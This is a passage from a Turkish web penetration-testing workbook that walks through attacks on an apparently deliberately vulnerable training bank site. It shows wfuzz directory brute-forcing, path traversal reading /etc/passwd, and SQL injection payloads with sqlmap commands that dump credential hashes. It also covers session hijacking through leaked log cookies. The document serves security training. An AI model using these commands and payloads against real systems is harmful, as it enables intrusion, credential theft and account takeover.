  Keşif	
  aracı	
  olarak	
  wfuzz	
  kullanılmıştır.	
  
Ancak	
  bazı	
  öntanımlı	
  admin	
  panel	
  dizinleri	
  manuel	
  olarak	
  da	
  denenebilir.	
  
	
  
Dizin	
  ifşası	
  için	
  Wfuzz	
  aracında	
  aşağıdaki	
  komutlar	
  sırasıyla	
  çalıştırılır.	
  
	
  
#	
  cd	
  /usr/share/wfuzz	
  
#	
  ./wfuzz.py	
  -­‐c	
  -­‐-­‐hc	
  404,XXX	
  -­‐z	
  file,wordlist/general/admin-­‐panels.txt	
  
http://isube.bgabank.com/?sayfa=FUZZ	
  
Kelime	
  listeleri	
  wfuzz/wordlist	
  dizini	
  altında	
  bulunabilir.	
  Yukarıdaki	
  URL’de	
  FUZZ	
  yazan	
  yer	
  
brute-­‐force’un	
  deneneceği	
  kısımdır.	
  
	
  
	
  
Şekil	
  15.	
  Wfuzz	
  Sonuç	
  
BGA	
  BANK	
  WEB	
  GÜVENLIK	
  TESTLERI	
  UYGULAMA	
  KITABı	
   19	
  
	
  
	
    
BİLGİ	
  GÜVENLİĞİ	
  AKADEMİSİ	
  |©	
  2015	
  |	
  www.bga.com.tr  
  
     
Response	
   değerlerine	
   bakıldığında	
   2	
   tip	
   cevap	
   döndüğü	
   görülür,	
   401	
   ve	
   200.	
   401	
   olanlar	
  
elenir.	
   200	
   olanlar	
   Lines,	
   Word,	
   Chars	
   değerlerine	
   bakılarak	
   ayırt	
   edilebilir.	
   Şekil	
   15.	
   de	
  
benzer	
  değerleri	
  bulunmayan	
  tek	
  dizin	
  vardır	
  (administrator.aspx).	
  
Yönetici	
  paneli;	
  
	
  
Şekil	
  16.	
  Yönetim	
  Paneli	
  
	
   	
  
20	
   BGA	
  BANK	
  WEB	
  GÜVENLIK	
  TESTLERI	
  UYGULAMA	
  KITABı	
  
	
  
	
    
	
  BİLGİ	
  GÜVENLİĞİ	
  AKADEMİSİ	
  |©	
  2015	
  |	
  www.bga.com.tr	
    
  
     
8. Local File Inclusion Zafiyeti ve İstismarı
URL	
   http://isube.bgabank.com/?sayfa=../../../../../../etc/passwd	
  
Tablo	
  6.	
  Local	
  File	
  Inclusion	
  URL	
  
	
  
● Bir	
   önceki	
   bulguda	
   bahsedildiği	
   gibi	
   BGA	
   BANK’ta	
   sayfa	
   parametresiyle	
   sunucudan	
  
aynı	
  dizin	
  altındaki	
  farklı	
  php	
  dosyaları(giris.php,	
  mobilgiris.php	
  vb.)	
  çağırılmaktadır.	
  
● Hem	
   Linux’ta	
   hem	
   Windows’ta	
   .(tek	
   nokta)	
   aynı	
   dizini	
   ve	
   	
   ..	
   (iki	
   nokta)	
   ise	
   bir	
   üst	
  
dizini	
  ifade	
  eder.	
  
● Linux	
   bir	
   sistemde	
   /etc/passwd	
   dosyası	
   bazı	
   kullanıcı	
   bilgilerini	
   saklar	
   ve	
   herkes	
  
tarafından	
  okunabilir.	
  
Bu	
   bilgiler	
   kullanılarak	
   sistemdeki	
   yerel	
   dosya	
   okuma	
   zafiyetinden	
   /etc/passwd	
   dosyası	
  
görüntülenebilir.	
  	
  
	
  
İşlem	
  manuel	
  olarak	
  yapılıyorsa	
  garanti	
  olması	
  için	
  ../../	
  sayısı	
  fazla	
  tutulabilir.	
  İşletim	
  sistemi	
  
sayı	
  fazla	
  olsa	
  dahi	
  ana	
  dizinden	
  bakmaya	
  başlayacaktır.	
  Yani	
  tablo	
  6.	
  da	
  belirtilen	
  adrese	
  ve	
  
http://isube.bgabank.com/?sayfa=../../../../../../../../../../../etc/passwd	
   adresine	
   giriş	
  
yapıldığında	
  şekil	
  17.	
  deki	
  sonucu	
  verecektir.	
  
	
  
	
  
Şekil	
  17.	
  /etc/passwd	
  Bilgileri	
  
Otomatize	
  araç	
  olarak	
  wfuzz	
  kullanılabilir.	
  
	
  
#	
  cd	
  /usr/share/wfuzz	
  
#	
  ./wfuzz.py	
  -­‐c	
  -­‐-­‐hc	
  404,XXX	
  -­‐z	
  file,wordlist/Injections/Traversal.txt	
  
http://isube.bgabank.com/?sayfa=FUZZ	
  
Bir	
  önceki	
  zafiyette	
  olduğu	
  gibi	
  wfuzz	
  FUZZ’un	
  olduğu	
  bölüme	
  bruteforce	
  yapacaktır.	
  Word	
  
ve	
  Chars	
  değerleri	
  kontrol	
  edilerek	
  geçerli	
  dizinler	
  bulunabilir.	
  (bkz.	
  Şekil	
  18)	
  
BGA	
  BANK	
  WEB	
  GÜVENLIK	
  TESTLERI	
  UYGULAMA	
  KITABı	
   21	
  
	
  
	
    
BİLGİ	
  GÜVENLİĞİ	
  AKADEMİSİ	
  |©	
  2015	
  |	
  www.bga.com.tr  
  
     
	
  
Şekil	
  18.	
  Wfuzz	
  LFI	
  
	
   	
  
22	
   BGA	
  BANK	
  WEB	
  GÜVENLIK	
  TESTLERI	
  UYGULAMA	
  KITABı	
  
	
  
	
    
	
  BİLGİ	
  GÜVENLİĞİ	
  AKADEMİSİ	
  |©	
  2015	
  |	
  www.bga.com.tr	
    
  
     
9. robots.txt Bilgi İfşası
	
  
URL	
   http://isube.bgabank.com/robots.txt	
  	
  
Tablo	
  7.	
  Local	
  File	
  Inclusion	
  URL	
  
	
  
Robot.txt,	
  arama	
  motorlarına	
  sitedeki	
  hangi	
  dizinleri	
  indeksleyebileceğini	
  belirten	
  basit	
  bir	
  
metin	
  dosyadır.	
  Bu	
  dosya	
  ile,	
  örneğin	
  Google’ın	
  indekslemediği	
  gizli	
  dizinler,	
  web	
  sayfaları	
  
öğrenilebilir.	
  Robot.txt	
  dosyası	
  web	
  sitesinde	
  en	
  üst	
  dizinde	
  bulunur.	
  
	
  
Aşağıdaki	
  robot.txt	
  dosyasından	
  Disallow	
  ile	
  belirtilen	
  6	
  dizinin	
  indekslenmesinin	
  istenmediği	
  
anlaşılabilir.	
  Bu	
  da	
  dizinlerin	
  var	
  olabileceğini	
  gösterir.	
  
	
  
	
  
Şekil	
  19.	
  robots.txt	
  İçeriği	
  
	
   	
  
BGA	
  BANK	
  WEB	
  GÜVENLIK	
  TESTLERI	
  UYGULAMA	
  KITABı	
   23	
  
	
  
	
    
BİLGİ	
  GÜVENLİĞİ	
  AKADEMİSİ	
  |©	
  2015	
  |	
  www.bga.com.tr  
  
     
10. PhpMyAdmin Bilgi İfşası
URL	
   http://isube.bgabank.com/pma/	
  
Tablo	
  8.	
  phpMyAdmin	
  URL	
  
	
  
MySQL	
   veritabanını	
   web	
   tarayıcısı	
   üzerinden	
   yönetmek	
   için	
   kullanılan	
   phpMyAdmin	
  
uygulamasının	
  giriş	
  sayfası	
  dışarıya	
  açıktır.	
  Bu	
  sayfaya	
  erişim	
  kısıtlanmadığında	
  brute-­‐force	
  
saldırılarına	
   maruz	
   kalabilir	
   ya	
   da	
   uygulamaya	
   has	
   zafiyetler	
   varsa	
   istismar	
   edilebilir.	
  
Öntanımlı	
  phpMyAdmin	
  giriş	
  sayfası	
  pma	
  veya	
  phpmyadmin’dir.	
  
	
  
	
  
Şekil	
  20.	
  phpMyAdmin	
  Panel	
  
	
   	
  
24	
   BGA	
  BANK	
  WEB	
  GÜVENLIK	
  TESTLERI	
  UYGULAMA	
  KITABı	
  
	
  
	
    
	
  BİLGİ	
  GÜVENLİĞİ	
  AKADEMİSİ	
  |©	
  2015	
  |	
  www.bga.com.tr	
    
  
     
11. Arama Kutusu Error Based & Union Query SQL Injection
Zafiyeti ve İstismarı
URL	
   http://isube.bgabank.com/index.php?sayfa=arama.php&s1=deneme&s2=	
  
HTTP	
  Talep	
  Türü	
   GET	
  
Payload	
   "	
  or	
  1=1;	
  
Parametre	
   s1	
  
Tablo	
  9.	
  Arama	
  Kutusu	
  SQL	
  Injection	
  Zafiyet	
  Bilgileri	
  
Arama	
  kısmında	
  hata	
  tabanlı	
  ve	
  Union	
  sorguları	
  çalıştırılabilecek	
  SQL	
  injection	
  zafiyeti	
  vardır.	
  
Tespit	
  için	
  öncelikle	
  bir	
  çift	
  tırnak	
  atıldığında	
  SQL	
  hatası	
  görülebilir.	
  (bkz.	
  Şekil	
  21)	
  
	
  
Şekil	
  21.	
  Arama	
  Kutusu	
  SQL	
  injection	
  
deneme"	
  or	
  1=1;	
  payloadı	
  ile	
  veritabanında	
  deneme	
  ile	
  ilgili	
  bir	
  içerik	
  olmasa	
  dahi	
  "	
  or	
  1=1;	
  
ile	
  tüm	
  içerik	
  listelenmiştir.	
  (bkz.	
  Şekil	
  22)	
  
BGA	
  BANK	
  WEB	
  GÜVENLIK	
  TESTLERI	
  UYGULAMA	
  KITABı	
   25	
  
	
  
	
    
BİLGİ	
  GÜVENLİĞİ	
  AKADEMİSİ	
  |©	
  2015	
  |	
  www.bga.com.tr  
  
     
	
  
Şekil	
  22.	
  Payload	
  Çıktısı	
  
İstismar	
  sqlmap	
  aracı	
  ile	
  yapılmıştır.	
  Aşağıdaki	
  komut	
  ile	
  sqlmap’e	
  zafiyetin	
  hangi	
  URL’de,	
  
hangi	
   parametrede,	
   hangi	
   veritabanında	
   olduğu	
   ve	
   istismarın	
   hangi	
   seviyede	
   aranacağı	
  
belirtilmiştir.	
   sqlmap’de	
   seviye(level)	
   yükseldikçe	
   HTTP	
   cookie,	
   HTTP	
   user	
   agent	
   gibi	
  
başlıklarda	
  da	
  zafiyet	
  aranır.	
  
#	
  sqlmap.py	
  -­‐u	
  
"http://isube.bgabank.com/index.php?sayfa=arama.php&s1=deneme&s2="	
  -­‐p	
  s1	
  -­‐-­‐dbms	
  
MYSQL	
  -­‐-­‐level	
  4	
  
sqlmap	
  çıktısı;	
  
GET	
  parameter	
  's1'	
  is	
  vulnerable.	
  Do	
  you	
  want	
  to	
  keep	
  testing	
  the	
  others	
  (if	
  any)?	
  [y/N]	
  
sqlmap	
  identified	
  the	
  following	
  injection	
  points	
  with	
  a	
  total	
  of	
  461	
  HTTP(s)	
  requests:	
  
-­‐-­‐-­‐	
  
Place:	
  GET	
  
Parameter:	
  s1	
  
	
   Type:	
  error-­‐based	
  
	
   Title:	
  MySQL	
  >=	
  5.0	
  AND	
  error-­‐based	
  -­‐	
  WHERE	
  or	
  HAVING	
  clause	
  
	
   Payload:	
  sayfa=arama.php&s1=deneme"	
  AND	
  (SELECT	
  8204	
  FROM(SELECT	
  COUNT(*),	
  
CONCAT(0x716d6e6371,(SELECT	
  (CASE	
  WHEN	
  (8204=8204)	
  THEN	
  1	
  ELSE	
  0	
  END)),0	
  
x7176717771,FLOOR(RAND(0)*2))x	
  FROM	
  INFORMATION_SCHEMA.CHARACTER_SETS	
  GROUP	
  
BY	
  x)a)	
  AND	
  "rmsH"="rmsH&s2=	
  
	
  
	
   Type:	
  UNION	
  query	
  
	
   Title:	
  MySQL	
  UNION	
  query	
  (NULL)	
  -­‐	
  10	
  columns	
  
	
   Payload:sayfa=arama.php&s1=deneme"	
  UNION	
  ALL	
  SELECT	
  NULL,	
  
26	
   BGA	
  BANK	
  WEB	
  GÜVENLIK	
  TESTLERI	
  UYGULAMA	
  KITABı	
  
	
  
	
    
	
  BİLGİ	
  GÜVENLİĞİ	
  AKADEMİSİ	
  |©	
  2015	
  |	
  www.bga.com.tr	
    
  
     
CONCAT(0x716d6e6371,0x68546f6b5063706b4968,0x7176717771),NULL,NULL,NULL,NULL,N
ULL,NULL,NULL,NULL#&s2=	
  
-­‐-­‐-­‐	
  
[17:00:01]	
  [INFO]	
  the	
  back-­‐end	
  DBMS	
  is	
  MySQL	
  
web	
  server	
  operating	
  system:	
  Linux	
  Ubuntu	
  
web	
  application	
  technology:	
  Apache	
  2.4.7,	
  PHP	
  5.5.9	
  
back-­‐end	
  DBMS:	
  MySQL	
  5.0	
  
	
  
Görüldüğü	
   gibi	
   error-­‐based	
   ve	
   UNION	
   query	
   tipinde	
   sql	
   injection	
   zafiyetleri	
   tespit	
   edildi.	
  
İstismar	
  için	
  önce	
  -­‐-­‐dbs	
  ile	
  var	
  olan	
  veritabanları	
  listelenir.	
  (Tablo	
  10)	
  
	
  
Komut	
   sqlmap.py	
   -­‐u	
  
"http://isube.bgabank.com/index.php?sayfa=arama.php&s1=deneme&s2="	
   -­‐p	
  
s1	
  -­‐-­‐dbms	
  MYSQL	
  -­‐-­‐level	
  4	
  -­‐-­‐dbs	
  
Çıktı	
   available	
  databases	
  [6]:	
  
[*]	
  bga_bank_4_0	
  
[*]	
  honeypot	
  
[*]	
  information_schema	
  
[*]	
  mysql	
  
[*]	
  performance_schema	
  
[*]	
  phpmyadmin	
  
Tablo	
  10.	
  sqlmap	
  Veritabanı	
  Listeleme	
  Verileri	
  
Hedef	
  olarak	
  -­‐D	
  ile	
  bga_bank_4_0	
  veritabanı	
  seçilmiştir	
  ve	
  -­‐-­‐tables	
  ile	
  tablolar	
  listelenmiştir.	
  
(Tablo	
  11)	
  
	
  
Komut	
   sqlmap.py	
  -­‐u	
  
"http://isube.bgabank.com/index.php?sayfa=arama.php&s1=deneme&s2="	
  -­‐p	
  
s1	
  -­‐-­‐dbms	
  MYSQL	
  -­‐-­‐level	
  4	
  -­‐D	
  bga_bank_4_0	
  -­‐-­‐tables	
  
Çıktı	
   Database:	
  bga_bank_4_0	
  
[20	
  tables]	
  
+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+	
  
|	
  bnk_ayarlar	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
   |	
  
|	
  bnk_bankalar	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
   |	
  
|	
  bnk_basvurular	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
   |	
  
|	
  bnk_failed_logins	
  	
  	
  	
  	
  	
  	
  	
  	
  	
   |	
  
|	
  bnk_hesap_islemleri	
  	
  	
  	
  	
  |	
  
|	
  bnk_hesap_turleri	
  	
  	
  	
  	
  	
  	
  	
  	
  |	
  
|	
  bnk_hesaplar	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
   |	
  
|	
  bnk_iller	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
   |	
  
|	
  bnk_kartlar	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  |	
  
|	
  bnk_karttipleri	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
   |	
  
BGA	
  BANK	
  WEB	
  GÜVENLIK	
  TESTLERI	
  UYGULAMA	
  KITABı	
   27	
  
	
  
	
    
BİLGİ	
  GÜVENLİĞİ	
  AKADEMİSİ	
  |©	
  2015	
  |	
  www.bga.com.tr  
  
     
|	
  bnk_kurtipleri	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
   |	
  
|	
  bnk_musteri_temsilci_mesajlar	
  |	
  
|	
  bnk_musteriler	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
   |	
  
|	
  bnk_musteriler_user_agent	
  |	
  
|	
  bnk_plakalar	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
   |	
  
|	
  bnk_sahte_hesaplar	
  	
  	
  	
  	
  |	
  
|	
  bnk_sayfalar	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
   |	
  
|	
  bnk_subeler	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
   |	
  
|	
  bnk_temsilciler	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
   |	
  
|	
  bnk_ziyaretci_defteri	
  	
  	
  	
  |	
  
+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+	
  
Tablo	
  11.	
  sqlmap	
  Tablo	
  Listeleme	
  Verileri	
  
Listelenen	
   tablolardan	
   BGA	
   Bank’taki	
   müşteri	
   temsilcileri	
   hedef	
   alınmıştır.	
   -­‐T	
   ile	
  
bnk_temsilciler	
  tablosu	
  seçilir	
  ve	
  -­‐-­‐columns	
  parametresi	
  ile	
  kolonlar	
  listelenir.	
  (Tablo	
  12)	
  
	
  
	
  
Komut	
   sqlmap.py	
  -­‐u	
  
'http://www.bgabank.com/index.php?sayfa=arama.php&s=deneme'	
  -­‐p	
  s	
  -­‐-­‐dbms	
  
MYSQL	
  -­‐-­‐level	
  4	
  -­‐D	
  BGA_Bank_1_0	
  -­‐T	
  bnk_temsilciler	
  -­‐-­‐columns	
  
Çıktı	
   Database:	
  bga_bank_4_0	
  
Table:	
  bnk_temsilciler	
  
[9	
  columns]	
  
+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+	
  
|	
  Column	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  |	
  Type	
  	
  	
  	
  	
  	
   |	
  
+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+	
  
|	
  t_adi	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
   |	
  varchar(25)	
  	
  	
  	
  	
  	
  	
  |	
  
|	
  t_durum	
  	
  	
  	
  	
  	
  	
  	
  	
   |	
  int(11)	
  	
  	
   |	
  
|	
  t_email	
  	
  	
  	
  	
  	
  	
  	
  	
  |	
  varchar(200)	
  	
  	
  	
  	
  |	
  
|	
  t_ensongiristarihi	
  |	
  timestamp	
  	
  	
  	
  |	
  
|	
  t_ID	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
   |	
  int(11)	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  |	
  
|	
  t_kullanicino	
  	
  	
   |	
  varchar(9)	
  	
  	
  	
  	
  	
  	
  	
  	
  |	
  
|	
  t_resim_yol	
  	
  	
  	
  	
   |	
  text	
  	
  	
  	
  	
  	
   |	
  
|	
  t_sifre	
  	
  	
  	
  	
  	
  	
  	
  	
   |	
  text	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  |	
  
|	
  t_soyadi	
  	
  	
  	
  	
  	
  	
  	
  |	
  varchar(30)	
  	
  	
  	
  	
  	
  	
  |	
  
+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+	
  
Tablo	
  12.	
  sqlmap	
  kolon	
  listeleme	
  verileri	
  
Temsilci	
  numarası	
  ve	
  şifresi	
  sırasıyla	
  t_kullanicino	
  ve	
  t_sifre	
  kolonlarında	
  tutulduğundan	
  bu	
  
iki	
  kolondaki	
  veriler	
  Tablo	
  13	
  de	
  gösterilen	
  komut	
  ile	
  çekilir.	
  
	
  
	
  
	
  
	
  
28	
   BGA	
  BANK	
  WEB	
  GÜVENLIK	
  TESTLERI	
  UYGULAMA	
  KITABı	
  
	
  
	
    
	
  BİLGİ	
  GÜVENLİĞİ	
  AKADEMİSİ	
  |©	
  2015	
  |	
  www.bga.com.tr	
    
  
     
Komut	
   sqlmap.py	
  -­‐u	
  
"http://isube.bgabank.com/index.php?sayfa=arama.php&s1=deneme&s2="	
  -­‐p	
  
s1	
  -­‐-­‐dbms	
  MYSQL	
  -­‐-­‐level	
  4	
  -­‐D	
  bga_bank_4_0	
  -­‐T	
  bnk_temsilciler	
  -­‐C	
  
t_kullanicino,t_sifre	
  -­‐-­‐dump	
  
Çıktı	
   Database:	
  bga_bank_4_0	
  
Table:	
  bnk_temsilciler	
  
[2	
  entries]	
  
+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+	
  
|	
  t_sifre	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  |	
  t_kullanicino	
  	
  	
  	
  	
  |	
  
+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+	
  
|	
  310dcbbf4cce62f762a2aaa148d556bd	
  (333)	
  |	
  11111111	
  	
  	
   	
  	
  	
  	
  	
  |	
  
|	
  310dcbbf4cce62f762a2aaa148d556bd	
  (333)	
  |	
  22222222	
  	
  	
   	
  	
  	
  	
  	
  |	
  
+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+	
  
Tablo	
  13.	
  sqlmap	
  veritabanından	
  veri	
  çekme	
  
Sqlmap	
   sözlük	
   saldırısı	
   ile	
   şifreyi	
   çözmeyi	
   başarabilmiştir	
   fakat	
   sqlmap	
   yetersiz	
   kaldığında	
  
şifreler	
   http://hashkiller.co.uk/md5-­‐decrypter.aspx	
   adresinden	
   MD5	
   veritabanında	
  
aratılabilir.	
  Kullanıcı	
  adı	
  ve	
  parola	
  ile	
  sisteme	
  giriş	
  denenir.	
  (Şekil	
  23)	
  
	
  
	
  
Şekil	
  23.	
  Sisteme	
  giriş	
  denemesi	
  
Sonuç.	
  başarılı!	
  (Şekil	
  24)	
  
BGA	
  BANK	
  WEB	
  GÜVENLIK	
  TESTLERI	
  UYGULAMA	
  KITABı	
   29	
  
	
  
	
    
BİLGİ	
  GÜVENLİĞİ	
  AKADEMİSİ	
  |©	
  2015	
  |	
  www.bga.com.tr  
  
     
	
  
Şekil	
  24.	
  Sonuç	
  
Diğer	
   veritabanları	
   üzerinden	
   denemeler	
   yapılabilir.	
   Örneğin	
   phpmyadmin	
   veritabanı,	
  
pma_userconfig	
   tablosu,	
   username	
   kolonu	
   üzerinden	
   gidilirse	
   phpmyadmin	
   kullanıcılarına	
  
ulaşılabilir	
   (Tablo	
   14).	
   Phpmyadmin	
   panelide	
   bilindiğinden	
   kullanıcı	
   adlarına	
   brute	
   force	
  
yapılabilir.	
   (phpMyAdmin	
   kullanıcılarının	
   parola	
   bilgileri	
   veritabanında	
   değil	
   işletim	
  
sisteminde	
  saklandığı	
  için	
  şifreler	
  veritabanından	
  ulaşılamaz.)	
  
	
   	
  
30	
   BGA	
  BANK	
  WEB	
  GÜVENLIK	
  TESTLERI	
  UYGULAMA	
  KITABı	
  
	
  
	
    
	
  BİLGİ	
  GÜVENLİĞİ	
  AKADEMİSİ	
  |©	
  2015	
  |	
  www.bga.com.tr	
    
  
     
12. Log Dizininde Cookie İfşası (elmah.axd) ve İstismarı
URL	
   http://isube.bgabank.com/elmah.axd	
  
Tablo	
  14.	
  Log	
  dizini	
  URL	
  bilgisi	
  
Belirtilen	
  dizinde,	
  giriş	
  yapan	
  kullanıcıların	
  oturum	
  bilgisini	
  saklayan	
  cookieler	
  tutulmaktadır.	
  
Bu	
  bilgiler	
  kullanılarak	
  oturum	
  hırsızlığı	
  (session	
  hijacking)	
  yapılabilir.	
  (Şekil	
  25)	
  
	
  
	
  
Şekil	
  25.	
  Elmah.axd	
  dizini	
  
İstismar	
  için	
  Chrome	
  ve	
  Firefox	
  tarayıcısı	
  ile	
  Firefox	
  eklentisi	
  olan	
  Cookie	
  Manager+	
  v1.5.2	
  
kullanılmıştır.	
   Farklı	
   eklentiler	
   de	
   kullanılabilir.	
   Zafiyetin	
   istismarı	
   aşağıda	
   adım	
   adım	
  
anlatılmıştır.	
  
	
  
	
  
	
  
	
  
	
  
	
  
	
  
	
  
	
  
	
  
	
  
	
  
BGA	
  BANK	
  WEB	
  GÜVENLIK	
  TESTLERI	
  UYGULAMA	
  KITABı	
   31	
  
	
  
	
    
BİLGİ	
  GÜVENLİĞİ	
  AKADEMİSİ	
  |©	
  2015	
  |	
  www.bga.com.tr  
  
     
1)	
  Normal	
  bir	
  müşteri(10000142	
  Müşteri	
  No.lu	
  Mustafa	
  Balaban)	
  olarak	
  Chrome	
  üzerinden	
  
giriş	
  yapılır.	
  
	
  
	
  
Şekil	
  26.	
  Chrome	
  Normal	
  Giriş	
  
BGA	
  Bank	
  uygulaması	
  bu	
  kullanıcının	
  cookie	
  bilgisini	
  http://isube.bgabank.com/elmah.axd/	
  
dizini	
  altında	
  kullanıcı	
  numarası	
  klasöründe	
  saklamaktadır.	
  
	
  (http://isube.bgabank.com/elmah.axd/10000142/)	
  	
  
	
  
Şekil	
  27.	
  Elmah.axd	
  Log	
  
	
  
	
  
	
  
	
  
	
  
32	
   BGA	
  BANK	
  WEB	
  GÜVENLIK	
  TESTLERI	
  UYGULAMA	
  KITABı	
  
	
  
	
    
	
  BİLGİ	
  GÜVENLİĞİ	
  AKADEMİSİ	
  |©	
  2015	
  |	
  www.bga.com.tr	
    
  
     
2)	
   Loglardan	
   elde	
   edilen	
   cookie	
   bilgileri	
   Firefox	
   Cookie	
   Manager	
   ile	
   Firefox	
   üzerinde	
  
değiştirilir,	
  olmayanlar	
  eklenir.	
  
	
  
Şekil	
  28.	
  Cookie	
  Değiştirme	
  
Şekil	
   28.	
   de	
   PHPSESSID	
   değeri	
   değiştirilmiştir.	
   Şekil	
   29.	
   da	
   ise	
   guest	
   cookie	
   bilgisi	
   FALSE	
  
olarak	
  eklenmiştir.	
  
BGA	
  BANK	
  WEB	
  GÜVENLIK	
  TESTLERI	
  UYGULAMA	
  KITABı	
   33	
  
	
  
	
    
BİLGİ	
  GÜVENLİĞİ	
  AKADEMİSİ	
  |©	
  2015	
  |	
  www.bga.com.tr  
  
     
	
  
Şekil	
  29.	
  Guest	
  Cookie	
  Bilgilerini	
  Ekleme	
  
	
  
	
  
	
  
	
  
	
  
	
  
	
  
	
  
	
  
	
  
	
  
	
  
34	
   BGA	
  BANK	
  WEB	
  GÜVENLIK	
  TESTLERI	
  UYGULAMA	
  KITABı	
  
	
  
	
    
	
  BİLGİ	
  GÜVENLİĞİ	
  AKADEMİSİ	
  |©	
  2015	
  |	
  www.bga.com.tr	
    
  
     
3)	
  Firefox’da	
  iken	
  sayfa	
  yenilendiğinde	
  Mustafa	
  Balaban	
  olarak	
  giriş	
  yapıldığı	
  görülecektir.	
  
	
  
Şekil	
  30.	
  Cookie	
  Değiştirme	
  Sonucu	
  
NOT:	
  
Bu	
   cookielerin	
   sunucudan	
   gelirken	
   görüntülemek	
   için	
   Burp	
   ile	
   sunucudan	
   dönen	
   cevaplar	
  
içinde	
  araya	
  girmek	
  gerekir.	
  Burp	
  varsayılan	
  olarak	
  giden	
  istekler	
  için	
  araya	
  girer.	
  Proxy	
  →	
  
Options	
  sekmesi	
  altında	
  1	
  ile	
  belirtilen	
  kısım	
  giden	
  istekler	
  için	
  araya	
  girerken,	
  2	
  ile	
  belirtilen	
  
kısım	
  sunucudan	
  gelen	
  istekler	
  içinde	
  araya	
  girer.	
  	
  
BGA	
  BANK	
  WEB	
  GÜVENLIK	
  TESTLERI	
  UYGULAMA	
  KITABı	
   35	
  
	
  
	
    
BİLGİ	
  GÜVENLİĞİ	
  AKADEMİSİ	
  |©	
  2015	
  |	
  www.bga.com.tr  
  
     
	
  
Şekil	
